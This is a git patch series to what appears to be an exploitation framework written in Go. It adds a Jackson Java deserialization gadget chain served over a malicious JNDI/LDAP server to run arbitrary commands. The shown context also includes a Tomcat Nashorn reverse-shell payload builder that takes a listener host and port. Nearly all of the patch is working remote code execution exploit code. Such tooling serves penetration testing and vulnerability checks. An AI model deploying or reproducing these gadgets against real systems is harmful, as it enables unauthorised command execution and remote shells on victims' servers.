From c00d8b53264fd2023a50cea3b5c012b3d6722e43 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 16 Oct 2025 00:54:08 -0500 Subject: [PATCH 1/2] Add Jackson gadget chain with JNDI/LDAP support --- java/gadgets/Jackson.bin | Bin 0 -> 4019 bytes java/javagadget.go | 22 +++++++++++++++++++++- java/ldapjndi/ldapjndi.go | 14 ++++++++++++-- 3 files changed, 33 insertions(+), 3 deletions(-) create mode 100644 java/gadgets/Jackson.bin diff --git a/java/gadgets/Jackson.bin b/java/gadgets/Jackson.bin new file mode 100644 index 0000000000000000000000000000000000000000..256623b66b76e3edf2a5bd82e9e2740f5fdd4be9 GIT binary patch literal 4019 zcmb_fO>7)V6@E1{_SnuO{!i>=lX!!ZINrG1jyDNrtZe)fZzham3wx7;B}}=eJky(= z?oM~LJ>CO?16L%(2@u!iu;IV~SaCpF@h7ntKyX>K5+}IuBe4fKkcF?R+w+rnVuikt0-m9;l{Ds=WfO_BLJKTt*?HG4?SXt(NTlRzZesb~)zfMzXiMkw*mzKCC zy`VsyvJ!}};yI<7|JrR*zuayIu08lOfPKdDszw;Oh8L6#?sKamj2d^iYuK(7fy*7E z7CO>0WWa02x~TdNmm)0S-uZClJ@?5w(`jli(D6;%EeTiNkE&Y&3!m78f*U$Q79g)} zP}k5}~B@#>V^xwQpJu5AoW!QB*#eShj2~C|SNpZJREy3Jf-lt;xW4%NXq4 z^djj;ay9UL5lCBso{T4|z?cnrzUC{h|BYW1=!HM~ba=2_{{77qkseDyp4ymy^3kb( zws)-mArZH)|MKG>{TQ0pXr_zObRkPOvve^_ml*YgBCxshKm?)fxo;E}8L@kejxTs_ zD7h;ia3>ON-yQk-M_>E!Z?_n=&)Tjn@sJ+7@_h$7`K$Igs=fJqxfL z;CN4j8CkJIM*V9t+FDOyy2|&|E;Gs%Tvr4-WCD{e6t(xS^HN#JaP$C`JVQ<>lx;7l zG783uNB|QFU?Ks`H~~zZ0Oo!Im^uN>#g*m!#(}e|PGfEy8T%~}m}@#n_FG&cNO!qg zazv0<{&$o-E2<({7)=}qsPeA?*;pQ`l^6%U&j0VmFzUKfvxKh<46}5Z(cAxBJPx$J zIUFTfH5b>H=W2FXKsj*~W&Tj5BgN28;22#$6!0J`7-f@KGMYOS;V_dB$u%zuEU{#( zM9w7{XsEKzQ5PM{(io$W!?Kgn?W3k+5V_K>3Uh8NL_S+`zcd&P=w4!bjRe%iHFH$t zeWZG7z@KKrk%hCClT@^B#&P5NTx?O6#t{wFU-HgqaO_G`4@<=P99^Y}E_#Iw%#dDW zRYpu%_065gK}o9y&_R=E7NRCBMwiE$Ad)uNjEaV53G~ez`qi{TeHHy^O>*lI&WEIv zbnls~H(#BazCL|pYI5eSQr1()JE;NXVC^z)S+eAOGt8%n7A|C z+s1!L?0b63aa@%G(KwyJH5X5yZu&Id(8Oo}KuY;F{L@PItfHwEN8-UmQK=5nNe#y6 z6b%7n7|OAY3ieC_ThP)2V5c?gI8+o^Y)>ofOLP_>N_LLUWBJAc9dxDc^e9HutnTkn znibzAvv2ALbp4_7g3%3J5j!JpQBo*V*dpL;s)CCB5W%*wxn4q_6cf!4#Yxht~ONc+gxfqZ+!Walo%^ zy(uj8{!ggWmRfsZI;!+LVmjV@CLR0q_VnxPK+`6jRGZ{W%B=3XfxpYB29Bh=Sk0(% zmzRY)w~TpSnv>unTags{u)kCD>+RyVfBN7ZYhvkkidd1-JKSmIFtPjjT0s3OCWazC zMqT+=PtV^voqy@4iiNbySg!=$uIdWE`}y_DGrRA;pQa2*lEtGCBx$gzJJe@_Cmk;d z$!%vDtpT>HdCcO300AO^z7_dy~ zBNSG(93UfvwNMe(BRIDvtSGSM-m=cXK+?zyMw5k)sf8Z~-1kMPzDz%?eBO9%4@h|s zx%HWoN_bjb&PeJ&80Nv=!+01}`eR9>>Z>6T+YXA^xDS%IBbIfX=PY#+;p+q62$Ifz z(okY&)^>NiM`E(R@-4OKRdtz=)E@D9Q+Cw8{F}4i z_yzwq4#@&#LU*8T&#ub8m_ literal 0 HcmV?d00001 diff --git a/java/javagadget.go b/java/javagadget.go index 8bb6521..18e0a9e 100644 --- a/java/javagadget.go +++ b/java/javagadget.go @@ -431,7 +431,7 @@ func Commons10CommandBytecode(commandStr string) (string, error) { // // Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "" and "". func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { - // 16-bit unsigned integer + // 16-bit (short) unsigned integer (big-endian) if len(baseURL) < 1 || len(baseURL) > 65535 { return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters") } else if len(className) < 1 || len(className) > 65535 { @@ -451,6 +451,26 @@ func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { return gadget, nil } +// https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java +func JacksonGenericCommand(cmd string) (string, error) { + // 16-bit (short) unsigned integer (big-endian) + if len(cmd) < 1 || len(cmd) > 65535 { + return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters") + } + + // $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable" + gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin")) + if err != nil { + return "", fmt.Errorf("failed to read gadget: %w", err) + } + + gadget := string(gadgetBytes) + gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd) + gadget = strings.ReplaceAll(gadget, "\x00\x00\x06\x54", transform.PackBigInt32(1599+len(cmd))) // Array size + + return gadget, nil +} + // This is a serialized java reverse shell. The gadget was generated by ysoserial // but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 // and updated to make it easy to swap in the desired lhost+lport of our choosing diff --git a/java/ldapjndi/ldapjndi.go b/java/ldapjndi/ldapjndi.go index cef59cd..3181d7b 100644 --- a/java/ldapjndi/ldapjndi.go +++ b/java/ldapjndi/ldapjndi.go @@ -22,6 +22,7 @@ import ( message "github.com/lor00x/goldap/message" ldap "github.com/vjeantet/ldapserver" + "github.com/vulncheck-oss/go-exploit/java" "github.com/vulncheck-oss/go-exploit/output" ) @@ -38,6 +39,8 @@ const ( BeanUtils194GenericBash GadgetName = 3 // load class via an HTTP server. HTTPReverseShell GadgetName = 4 + // See implementation in java.JacksonGenericCommand. + JacksonGenericCommand GadgetName = 5 ) // a dirty way to pass the user's desired gadget to `handleBind`. @@ -111,7 +114,7 @@ func CreateLDAPServer(name string) *ldap.Server { return server } -func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, command string) { +func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) { switch gadget { case TomcatNashornReverseShell: GlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport) @@ -121,6 +124,11 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co GlobalSerializedPayload = createGroovyGenericBash(command) case BeanUtils194GenericBash: GlobalSerializedPayload = createBeanUtils194GenericBash(command) + case JacksonGenericCommand: + var err error + if GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil { + output.PrintFrameworkError(err.Error()) + } case HTTPReverseShell: fallthrough default: @@ -140,6 +148,8 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin fallthrough case BeanUtils194GenericBash: fallthrough + case JacksonGenericCommand: + fallthrough default: output.PrintFrameworkError("Invalid payload") @@ -166,7 +176,7 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin // "10.9.49.242" -> lhost // 1270 -> lport // The change in size will then be accounted for in the padding variable. -func createTomcatNashornReverseShell(binary string, lhost string, lport int) string { +func createTomcatNashornReverseShell(binary, lhost string, lport int) string { shellPayload := "\xac\xed" + "\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" + From e7cf4297e2aca433d2d163fa0fdd75d735312932 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 21 Oct 2025 23:03:13 -0500 Subject: [PATCH 2/2] Don't use magic numbers --- java/javagadget.go | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/java/javagadget.go b/java/javagadget.go index 18e0a9e..d8518d2 100644 --- a/java/javagadget.go +++ b/java/javagadget.go @@ -466,7 +466,11 @@ func JacksonGenericCommand(cmd string) (string, error) { gadget := string(gadgetBytes) gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd) - gadget = strings.ReplaceAll(gadget, "\x00\x00\x06\x54", transform.PackBigInt32(1599+len(cmd))) // Array size + const ( + arraySizeWithCommand = "\x00\x00\x06\x54" // 1620 + arraySizeWithoutCommand = 1599 + ) + gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd))) return gadget, nil }